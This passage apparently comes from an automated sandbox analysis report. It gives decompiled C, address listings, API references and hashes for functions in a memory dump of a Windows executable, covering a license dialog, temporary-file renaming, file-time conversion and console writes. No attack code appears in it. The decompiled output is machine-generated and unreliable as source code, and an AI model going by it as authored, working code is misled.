											 *(_t240 + 0x2107) = _t220 >> 0x00000003 & 0x00000001;
											 *((char*)(_t240 + 0x2208)) = 0;
											 *_t342 = 0;
											__eflags = _t220 & 0x00000001;
											if((_t220 & 0x00000001) != 0) {
												_t334 = E010FC620(_t315);
												__eflags = _t334 - 0xff;
												if(_t334 >= 0xff) {
													_t334 = 0xff;
												}
												E010FC582(_t318, _t342, _t334);
												_t220 =  *(_t344 + 0x1c);
												 *((char*)(_t334 + _t342)) = 0;
											}
											__eflags = _t220 & 0x00000002;
											if((_t220 & 0x00000002) != 0) {
												_t333 = E010FC620(_t315);
												__eflags = _t333 - 0xff;
												if(_t333 >= 0xff) {
													_t333 = 0xff;
												}
												_t343 = _t240 + 0x2208;
												E010FC582(_t318, _t343, _t333);
												 *((char*)(_t333 + _t343)) = 0;
											}
											__eflags =  *(_t240 + 0x2106);
											if( *(_t240 + 0x2106) != 0) {
												 *((intOrPtr*)(_t240 + 0x2308)) = E010FC620(_t315);
											}
											__eflags =  *(_t240 + 0x2107);
											if( *(_t240 + 0x2107) != 0) {
												 *((intOrPtr*)(_t240 + 0x230c)) = E010FC620(_t315);
											}
											 *((char*)(_t240 + 0x2105)) = 1;
											goto L102;
										}
										if(_t332 != 1) {
											goto L102;
										}
										if( *((intOrPtr*)(_t240 + 4)) == 3 &&  *((intOrPtr*)(_t318 + 0x18)) -  *(_t344 + 0x28) == 1) {
											_t340 = _t340 + 1;
										}
										_t336 = _t240 + 0x1028;
										E010F2020(_t336, _t340);
										_push(_t340);
										_push( *_t336);
										goto L40;
									}
								} else {
									L102:
									_t247 =  *(_t344 + 0x28);
									 *(_t318 + 0x1c) = _t247;
									_t135 =  *((intOrPtr*)(_t318 + 0x18)) - _t247;
									if(_t135 >= 2) {
										continue;
									}
									break;
								}
							}
						}
					}
				}
			}

0x010f2153
0x010f2159
0x010f2160
0x010f2164
0x010f2169
0x010f2173
0x010f27ca
0x010f27d1
0x010f27d1
0x010f2179
0x010f217b
0x010f2181
0x010f2188
0x010f2191
0x010f2193
0x010f2198
0x010f219a
0x010f219c
0x00000000
0x00000000
0x010f21af
0x010f21b2
0x010f21b4
0x00000000
0x00000000
0x010f21ba
0x010f21bc
0x00000000
0x010f21cc
0x010f21cc
0x010f21d1
0x010f21d5
0x010f21da
0x010f21dd
0x010f21df
0x010f21e1
0x010f21e3
0x010f21e7
0x010f21eb
0x00000000
0x010f21fb
0x010f21ff
0x010f2210
0x010f2214
0x010f2219
0x010f221f
0x010f2223
0x010f222c
0x010f2244
0x010f2246
0x010f2249
0x010f2249
0x010f224c
0x010f224c
0x010f2252
0x010f2256
0x010f225f
0x010f2277
0x010f2279
0x010f227c
0x010f227c
0x010f225f
0x010f227f
0x010f2283
0x010f2283
0x010f228b
0x010f2297
0x010f2299
0x00000000
0x010f22aa
0x010f22aa
0x010f22ad
0x010f265c
0x010f2661
0x010f2663
0x010f2693
0x010f26a1
0x010f26a9
0x010f26b4
0x010f26b7
0x010f26bd
0x010f26c0
0x010f26cf
0x010f26d4
0x010f26d8
0x010f26dc
0x010f26e4
0x010f26e4
0x010f26f4
0x010f2704
0x010f2709
0x010f2710
0x010f2718
0x010f2721
0x010f272f
0x010f2739
0x010f2746
0x010f274f
0x010f2755
0x010f2766
0x010f276b
0x010f2770
0x010f2774
0x010f2778
0x010f277e
0x010f2788
0x010f278d
0x010f2790
0x010f2792
0x010f2794
0x010f2794
0x010f2792
0x010f277e
0x010f279a
0x010f27a1
0x010f27ab
0x010f2665
0x010f2672
0x010f2677
0x010f267b
0x010f267f
0x010f2687
0x010f2687
0x00000000
0x010f2663
0x010f22b3
0x010f22b6
0x010f2635
0x010f263a
0x010f263c
0x00000000
0x00000000
0x010f2642
0x010f264a
0x010f2654
0x010f230b
0x010f230d
0x00000000
0x010f230d
0x010f22bc
0x010f22bf
0x010f24b6
0x010f24b8
0x00000000
0x00000000
0x010f24be
0x010f24c9
0x010f24cb
0x010f24d0
0x010f24d4
0x010f24d6
0x010f24dc
0x010f24e0
0x010f24e0
0x010f24e3
0x010f24e7
0x010f24e9
0x010f24eb
0x010f24ed
0x010f2511
0x010f24ef
0x010f24fd
0x010f24fd
0x010f2516
0x010f251a
0x010f251a
0x010f251e
0x010f251e
0x010f2521
0x010f2525
0x010f2527
0x010f2529
0x010f252b
0x010f254f
0x010f252d
0x010f253b
0x010f253b
0x010f252b
0x010f2554
0x010f255a
0x010f255a
0x010f255d
0x010f2561
0x010f2563
0x010f2568
0x010f256a
0x010f258e
0x010f256c
0x010f257a
0x010f257a
0x010f2593
0x010f2593
0x010f2597
0x010f259c
0x010f25a2
0x010f25a4
0x010f25aa
0x010f25af
0x010f25d8
0x010f25dd
0x010f25b1
0x010f25b3
0x010f25b8
0x010f25bd
0x010f25c2
0x010f25c4
0x010f25c6
0x010f25d1
0x010f25d1
0x010f25c6
0x010f25e2
0x010f25e7
0x010f25f0
0x010f25f2
0x010f25f4
0x010f25ff
0x010f25ff
0x010f25f4
0x010f2604
0x010f2609
0x010f2616
0x010f2618
0x010f261a
0x010f2629
0x010f2629
0x010f261a
0x010f2609
0x010f25a4
0x00000000
0x010f259c
0x010f24c0
0x010f24c3
0x00000000
0x00000000
0x00000000
0x010f24c3
0x010f22c5
0x010f22c8
0x010f2459
0x010f245b
0x00000000
0x00000000
0x010f2461
0x010f246c
0x010f246e
0x010f247a
0x010f247c
0x010f248c
0x010f2496
0x010f249b
0x010f24ac
0x010f24ac
0x00000000
0x010f247c
0x010f2463
0x010f2466
0x00000000
0x00000000
0x00000000
0x010f2466
0x010f22ce
0x010f22d1
0x010f23e4
0x010f23f3
0x010f23fe
0x010f2400
0x010f2408
0x010f240e
0x010f241b
0x010f2420
0x010f2420
0x010f2436
0x010f243b
0x010f2446
0x010f244e
0x010f244f
0x00000000
0x010f244f
0x010f22d7
0x010f22da
0x010f2319
0x010f2320
0x010f2327
0x010f2330
0x010f233e
0x010f2344
0x010f234b
0x010f234f
0x010f2351
0x010f235a
0x010f2361
0x010f2363
0x010f2365
0x010f2365
0x010f236b
0x010f2370
0x010f2374
0x010f2374
0x010f2378
0x010f237a
0x010f2383
0x010f238a
0x010f238c
0x010f238e
0x010f238e
0x010f2391
0x010f239a
0x010f239f
0x010f239f
0x010f23a3
0x010f23aa
0x010f23b3
0x010f23b3
0x010f23b9
0x010f23c0
0x010f23c9
0x010f23c9
0x010f23cf
0x00000000
0x010f23cf
0x010f22df
0x00000000
0x00000000
0x010f22e9
0x010f22f7
0x010f22f7
0x010f22fa
0x010f2303
0x010f2308
0x010f2309
0x00000000
0x010f2309
0x010f27b2
0x010f27b2
0x010f27b2
0x010f27b6
0x010f27bc
0x010f27c1
0x00000000
0x00000000
0x00000000
0x010f27c1
0x010f228b
0x010f21eb
0x010f21bc
0x010f27c9

Strings

x%u, xrefs: 010F2666
xc%u, xrefs: 010F26C3
;%u, xrefs: 010F2483

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: f2aa43dd364aba69e3eb154f7df92071397266aa629dfbf12adf962e9c3ec135
Instruction ID: 6af3526176c0d462b111faf199181be79e22af74dbb0286c1919a53b569dee47
Opcode Fuzzy Hash: f2aa43dd364aba69e3eb154f7df92071397266aa629dfbf12adf962e9c3ec135
Instruction Fuzzy Hash: C0F14C716043455BEB15DF288897BFE7BD5AFA4300F08446DEFC68BA82CB64D484C762

Uniqueness

Uniqueness Score: -1.00%

Function 0110AC20, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0110AC20(void* __ecx, void* __edx, void* __eflags, void* __fp0, struct HWND__* _a4, intOrPtr _a8, signed short _a12, intOrPtr _a16) {
				long _t9;
				long _t10;
				WCHAR* _t11;
				void* _t25;
				signed short _t28;
				void* _t29;
				intOrPtr _t30;
				struct HWND__* _t34;
				intOrPtr _t35;
				void* _t36;
				struct HWND__* _t37;

				_t29 = __ecx;
				_t28 = _a12;
				_t35 = _a8;
				_t34 = _a4;
				if(E010F130B(__edx, _t34, _t35, _t28, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L16:
					__eflags = 1;
					return 1;
				}
				_t36 = _t35 - 0x110;
				if(_t36 == 0) {
					E0110CBAE(_t29, __edx, __eflags, __fp0, _t34);
					_t9 =  *0x113b574;
					__eflags = _t9;
					if(_t9 != 0) {
						SendMessageW(_t34, 0x80, 1, _t9);
					}
					_t10 =  *0x1145b74;
					__eflags = _t10;
					if(_t10 != 0) {
						SendDlgItemMessageW(_t34, 0x66, 0x172, 0, _t10);
					}
					_t11 =  *0x114dc8c;
					__eflags = _t11;
					if(__eflags != 0) {
						SetWindowTextW(_t34, _t11);
					}
					_t37 = GetDlgItem(_t34, 0x65);
					SendMessageW(_t37, 0x435, 0, 0x10000);
					SendMessageW(_t37, 0x443, 0,  *0x11510c0(0xf));
					 *0x11510bc(_t34);
					_t30 =  *0x113745c; // 0x0
					E011095B5(_t30, __eflags,  *0x112fed4, _t37,  *0x114dc88, 0, 0);
					L0111340E( *0x114dc8c);
					L0111340E( *0x114dc88);
					goto L16;
				}
				if(_t36 != 1) {
					L5:
					return 0;
				}
				_t25 = (_t28 & 0x0000ffff) - 1;
				if(_t25 == 0) {
					_push(1);
					L7:
					EndDialog(_t34, ??);
					goto L16;
				}
				if(_t25 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0110ac20
0x0110ac21
0x0110ac27
0x0110ac2e
0x0110ac47
0x0110ad33
0x0110ad35
0x00000000
0x0110ad35
0x0110ac4d
0x0110ac53
0x0110ac80
0x0110ac85
0x0110ac8a
0x0110ac8c
0x0110ac97
0x0110ac97
0x0110ac9d
0x0110aca2
0x0110aca4
0x0110acb0
0x0110acb0
0x0110acb6
0x0110acbb
0x0110acbd
0x0110acc1
0x0110acc1
0x0110acd6
0x0110acde
0x0110acf4
0x0110acfb
0x0110ad01
0x0110ad16
0x0110ad21
0x0110ad2c
0x00000000
0x0110ad32
0x0110ac58
0x0110ac67
0x00000000
0x0110ac67
0x0110ac5d
0x0110ac60
0x0110ac7b
0x0110ac6f
0x0110ac70
0x00000000
0x0110ac70
0x0110ac65
0x0110ac6e
0x00000000
0x0110ac6e
0x00000000

APIs

Part of subcall function 010F130B: GetDlgItem.USER32(00000000,00003021), ref: 010F134F
Part of subcall function 010F130B: SetWindowTextW.USER32(00000000,011225B4), ref: 010F1365

EndDialog.USER32(?,00000001), ref: 0110AC70
SendMessageW.USER32(?,00000080,00000001,?), ref: 0110AC97
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0110ACB0
SetWindowTextW.USER32(?,?), ref: 0110ACC1
GetDlgItem.USER32(?,00000065), ref: 0110ACCA
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0110ACDE
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0110ACF4

Strings

LICENSEDLG, xrefs: 0110AC34

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 6d3ac92ddad9625e132f06317890cb977a7a6826c8d88c028d8eae9bc8275010
Instruction ID: 9241ab842dbb6628e7ae699c5d38daa1ecb15153db616a56f8d2d2e3ff4dee73
Opcode Fuzzy Hash: 6d3ac92ddad9625e132f06317890cb977a7a6826c8d88c028d8eae9bc8275010
Instruction Fuzzy Hash: 6D21D532600305BBE73F5A65FE49F7B3E6CEF46B56F024428F611924C8C7A2A8819731

Uniqueness

Uniqueness Score: -1.00%

Function 010F93E0, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E010F93E0(void* __ecx) {
				void* __esi;
				void* _t31;
				short _t32;
				long _t34;
				void* _t39;
				short _t41;
				void* _t65;
				intOrPtr _t68;
				void* _t76;
				intOrPtr _t79;
				void* _t81;
				WCHAR* _t82;
				void* _t84;
				void* _t86;

				E0110E0E4(0x1121cbc, _t84);
				E0110E1C0();
				_t82 =  *(_t84 + 8);
				_t31 = _t84 - 0x4034;
				__imp__GetLongPathNameW(_t82, _t31, 0x800, _t76, _t81, _t65);
				if(_t31 == 0 || _t31 >= 0x800) {
					L20:
					_t32 = 0;
					__eflags = 0;
				} else {
					_t34 = GetShortPathNameW(_t82, _t84 - 0x5034, 0x800);
					if(_t34 == 0) {
						goto L20;
					} else {
						_t91 = _t34 - 0x800;
						if(_t34 >= 0x800) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t84 - 0x10)) = E010FBBC5(_t91, _t84 - 0x4034);
							_t78 = E010FBBC5(_t91, _t84 - 0x5034);
							_t68 = 0;
							if( *_t38 == 0) {
								goto L20;
							} else {
								_t39 = E01101708( *((intOrPtr*)(_t84 - 0x10)), _t78);
								_t93 = _t39;
								if(_t39 == 0) {
									goto L20;
								} else {
									_t41 = E01101708(E010FBBC5(_t93, _t82), _t78);
									if(_t41 != 0) {
										goto L20;
									} else {
										 *(_t84 - 0x1010) = _t41;
										_t79 = 0;
										while(1) {
											_t95 = _t41;
											if(_t41 != 0) {
												break;
											}
											E010FFD96(_t84 - 0x1010, _t82, 0x800);
											E010F3FD6(E010FBBC5(_t95, _t84 - 0x1010), 0x800, L"rtmp%d", _t79);
											_t86 = _t86 + 0x10;
											if(E010FA0C0(_t84 - 0x1010) == 0) {
												_t41 =  *(_t84 - 0x1010);
											} else {
												_t41 = 0;
												 *(_t84 - 0x1010) = 0;
											}
											_t79 = _t79 + 0x7b;
											if(_t79 < 0x2710) {
												continue;
											} else {
												_t98 = _t41;
												if(_t41 == 0) {
													goto L20;
												} else {
													break;
												}
											}
											goto L21;
										}
										E010FFD96(_t84 - 0x3034, _t82, 0x800);
										_push(0x800);
										E010FBC3B(_t98, _t84 - 0x3034,  *((intOrPtr*)(_t84 - 0x10)));
										if(MoveFileW(_t84 - 0x3034, _t84 - 0x1010) == 0) {
											goto L20;
										} else {
											E010F95B6(_t84 - 0x2034);
											 *((intOrPtr*)(_t84 - 4)) = _t68;
											if(E010FA0C0(_t82) == 0) {
												_push(0x12);
												_push(_t82);
												_t68 = E010F96BE(_t84 - 0x2034);
											}
											MoveFileW(_t84 - 0x1010, _t84 - 0x3034);
											if(_t68 != 0) {
												E010F9670(_t84 - 0x2034);
												E010F97B7(_t84 - 0x2034, _t82);
											}
											E010F95E8(_t84 - 0x2034, _t82);
											_t32 = 1;
										}
									}
								}
							}
						}
					}
				}
				L21:
				 *[fs:0x0] =  *((intOrPtr*)(_t84 - 0xc));
				return _t32;
			}

0x010f93e5
0x010f93ef
0x010f93f6
0x010f93f9
0x010f9408
0x010f9410
0x010f95a1
0x010f95a1
0x010f95a1
0x010f941e
0x010f9427
0x010f942f
0x00000000
0x010f9435
0x010f9435
0x010f9437
0x00000000
0x010f943d
0x010f9449
0x010f9458
0x010f945a
0x010f945f
0x00000000
0x010f9465
0x010f9469
0x010f946e
0x010f9470
0x00000000
0x010f9476
0x010f947e
0x010f9485
0x00000000
0x010f948b
0x010f948b
0x010f9492
0x010f9494
0x010f9494
0x010f9497
0x00000000
0x00000000
0x010f94a6
0x010f94c3
0x010f94c8
0x010f94d9
0x010f94e6
0x010f94db
0x010f94db
0x010f94dd
0x010f94dd
0x010f94ed
0x010f94f6
0x00000000
0x010f94f8
0x010f94f8
0x010f94fb
0x00000000
0x00000000
0x00000000
0x00000000
0x010f94fb
0x00000000
0x010f94f6
0x010f950f
0x010f9514
0x010f951f
0x010f953a
0x00000000
0x010f953c
0x010f9542
0x010f9548
0x010f9552
0x010f9554
0x010f9556
0x010f9562
0x010f9562
0x010f9572
0x010f957a
0x010f9582
0x010f958d
0x010f958d
0x010f9598
0x010f959d
0x010f959d
0x010f953a
0x010f9485
0x010f9470
0x010f945f
0x010f9437
0x010f942f
0x010f95a3
0x010f95a9
0x010f95b3

APIs

__EH_prolog.LIBCMT ref: 010F93E5
GetLongPathNameW.KERNEL32 ref: 010F9408
GetShortPathNameW.KERNEL32 ref: 010F9427

Part of subcall function 01101708: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011708,010FBA45,00000000,.exe,?,?,00000800,?,?,0110854F,?), ref: 0110171E

_swprintf.LIBCMT ref: 010F94C3

Part of subcall function 010F3FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 010F3FE9

MoveFileW.KERNEL32(?,?), ref: 010F9532
MoveFileW.KERNEL32(?,?), ref: 010F9572

Strings

rtmp%d, xrefs: 010F94AC

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: e9cd70063c5119b36c637207bc8d69a2f4aa994fe7dbf01133840cfeab431f2f
Instruction ID: 80cdc89ec4d97c876aa260b708d5787581ddb4fb47e2d9efea3eec57bd070978
Opcode Fuzzy Hash: e9cd70063c5119b36c637207bc8d69a2f4aa994fe7dbf01133840cfeab431f2f
Instruction Fuzzy Hash: 05415E7190121AAADF31EB64CD4ABDE777CAF54784F0004A9B784A7441EB788B84CB64

Uniqueness

Uniqueness Score: -1.00%

Function 011009EA, Relevance: 12.1, APIs: 8, Instructions: 115
timeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E011009EA(intOrPtr* __ecx, intOrPtr __edx, void* __eflags, signed int* _a4) {
				struct _SYSTEMTIME _v16;
				struct _SYSTEMTIME _v32;
				struct _SYSTEMTIME _v48;
				struct _FILETIME _v56;
				struct _FILETIME _v64;
				struct _FILETIME _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _t73;
				void* _t81;
				signed int _t85;
				void* _t86;
				intOrPtr _t87;
				intOrPtr* _t89;
				intOrPtr* _t90;
				signed int* _t91;
				signed int _t92;

				_t87 = __edx;
				_t90 = __ecx;
				_v80 = E0110E740( *__ecx,  *((intOrPtr*)(__ecx + 4)), 0x64, 0);
				_v76 = _t87;
				if(E010FAC35() >= 0x600) {
					FileTimeToSystemTime( &_v64,  &_v32);
					SystemTimeToTzSpecificLocalTime(0,  &_v32,  &_v16);
					SystemTimeToFileTime( &_v16,  &_v72);
					SystemTimeToFileTime( &_v32,  &_v56);
					asm("sbb ecx, [esp+0x24]");
					asm("sbb ecx, ebx");
					asm("adc ecx, ebx");
					_v72.dwLowDateTime = 0 - _v56.dwLowDateTime + _v72.dwLowDateTime + _v64.dwLowDateTime;
					asm("adc ecx, ebx");
					_v72.dwHighDateTime = _v72.dwHighDateTime + _v64.dwHighDateTime;
				} else {
					FileTimeToLocalFileTime( &_v64,  &_v72);
				}
				FileTimeToSystemTime( &_v72,  &_v48);
				_t91 = _a4;
				_t81 = 1;
				_t85 = _v48.wDay & 0x0000ffff;
				_t92 = _v48.wMonth & 0x0000ffff;
				_t88 = _v48.wYear & 0x0000ffff;
				_t91[3] = _v48.wHour & 0x0000ffff;
				_t91[4] = _v48.wMinute & 0x0000ffff;
				_t91[5] = _v48.wSecond & 0x0000ffff;
				_t91[7] = _v48.wDayOfWeek & 0x0000ffff;
				 *_t91 = _v48.wYear & 0x0000ffff;
				_t91[1] = _t92;
				_t91[2] = _t85;
				_t91[8] = _t85 - 1;
				if(_t92 > 1) {
					_t89 = 0x112d084;
					_t86 = 4;
					while(_t86 <= 0x30) {
						_t86 = _t86 + 4;
						_t91[8] = _t91[8] +  *_t89;
						_t89 = _t89 + 4;
						_t81 = _t81 + 1;
						if(_t81 < _t92) {
							continue;
						}
						break;
					}
					_t88 = _v48.wYear & 0x0000ffff;
				}
				if(_t92 > 2 && E01100B57(_t88) != 0) {
					_t91[8] = _t91[8] + 1;
				}
				_t73 = E0110E7B0( *_t90,  *((intOrPtr*)(_t90 + 4)), 0x3b9aca00, 0);
				_t91[6] = _t73;
				return _t73;
			}

0x011009ea
0x011009f1
0x01100a02
0x01100a06
0x01100a14
0x01100a32
0x01100a43
0x01100a53
0x01100a63
0x01100a75
0x01100a7d
0x01100a83
0x01100a89
0x01100a8d
0x01100a8f
0x01100a16
0x01100a20
0x01100a20
0x01100a9d
0x01100aa3
0x01100aae
0x01100aaf
0x01100ab4
0x01100ab9
0x01100abe
0x01100ac6
0x01100ace
0x01100ad6
0x01100adc
0x01100ade
0x01100ae1
0x01100ae4
0x01100ae9
0x01100aed
0x01100af2
0x01100af3
0x01100afa
0x01100afd
0x01100b00
0x01100b03
0x01100b06
0x00000000
0x00000000
0x00000000
0x01100b06
0x01100b08
0x01100b08
0x01100b10
0x01100b1c
0x01100b1c
0x01100b2b
0x01100b31
0x01100b3a

APIs

__aulldiv.LIBCMT ref: 011009FD

Part of subcall function 010FAC35: GetVersionExW.KERNEL32(?), ref: 010FAC5A

FileTimeToLocalFileTime.KERNEL32(?,00000001,00000000,?,00000064,00000000,00000001,00000000,?), ref: 01100A20
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,00000001,00000000,?), ref: 01100A32
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 01100A43
SystemTimeToFileTime.KERNEL32(?,?), ref: 01100A53
SystemTimeToFileTime.KERNEL32(?,?), ref: 01100A63
FileTimeToSystemTime.KERNEL32(?,?), ref: 01100A9D
__aullrem.LIBCMT ref: 01100B2B

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 9511c3d0972856338aeb334fe1e110e6a79424fb232b38a91efee2dad74cc4a9
Instruction ID: a97593c0ca1cb54d2946b6549d82c74840d9b306ea1e0e694cae3e3f7bc84aa6
Opcode Fuzzy Hash: 9511c3d0972856338aeb334fe1e110e6a79424fb232b38a91efee2dad74cc4a9
Instruction Fuzzy Hash: AB413D755083069FC724DF65C880A6BF7F8FB88654F004A2EF69692240E779E558CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0111EC6D, Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0111EC6D(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t135;
				signed int _t136;
				void* _t137;

				_t78 =  *0x112d668; // 0xf5f1ec05
				_v8 = _t78 ^ _t136;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x1150290 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t135 = _a4;
				_v60 = _t86;
				 *_t135 = 0;
				 *((intOrPtr*)(_t135 + 4)) = 0;
				 *((intOrPtr*)(_t135 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0x1150290 + _v48 * 4));
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E01119DA7(_t116, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0x1150290 + _t131 * 4)) + _t116 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0x1150290 + _t131 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0x1150290 + _t131 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
							} else {
								_t112 = E0111895A( &_v28, _t133, 2);
								_t137 = _t137 + 0xc;
								if(_t112 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E0111895A();
						_t137 = _t137 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t135 = GetLastError();
								} else {
									_t48 = _t135 + 8; // 0xff76e900
									 *((intOrPtr*)(_t135 + 4)) =  *_t48 - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t135 + 8)) =  *((intOrPtr*)(_t135 + 8)) + 1;
													 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E0110EA8A(_v8 ^ _t136);
			}

0x0111ec75
0x0111ec7c
0x0111ec7f
0x0111ec87
0x0111ec8b
0x0111ec97
0x0111ec9a
0x0111ec9d
0x0111eca4
0x0111ecac
0x0111ecaf
0x0111ecb5
0x0111ecbb
0x0111ecc0
0x0111ecc2
0x0111ecc5
0x0111ecca
0x0111ecd4
0x0111ecdb
0x0111ecde
0x0111ece5
0x0111ecec
0x0111ed18
0x0111ed3e
0x0111ed40
0x00000000
0x0111ed1a
0x0111ed1d
0x0111ede4
0x0111edf0
0x0111edfb
0x0111ee00
0x0111ed23
0x0111ed2a
0x0111ed2f
0x0111ed35
0x0111ed3b
0x00000000
0x0111ed3b
0x0111ed35
0x0111ed1d
0x0111ecee
0x0111ecf2
0x0111ecf5
0x0111ecfb
0x0111ecfd
0x0111ed00
0x0111ed04
0x0111ed41
0x0111ed44
0x0111ed45
0x0111ed4a
0x0111ed50
0x0111ed56
0x0111ed65
0x0111ed6b
0x0111ed71
0x0111ed76
0x0111ed92
0x0111ee05
0x0111ee0b
0x0111ed94
0x0111ed94
0x0111ed9c
0x0111eda5
0x0111edab
0x00000000
0x0111edad
0x0111edaf
0x0111edb2
0x0111edcb
0x00000000
0x0111edcd
0x0111edd1
0x0111edd3
0x0111edd6
0x00000000
0x0111edd6
0x0111edd1
0x0111edcb
0x0111edab
0x0111eda5
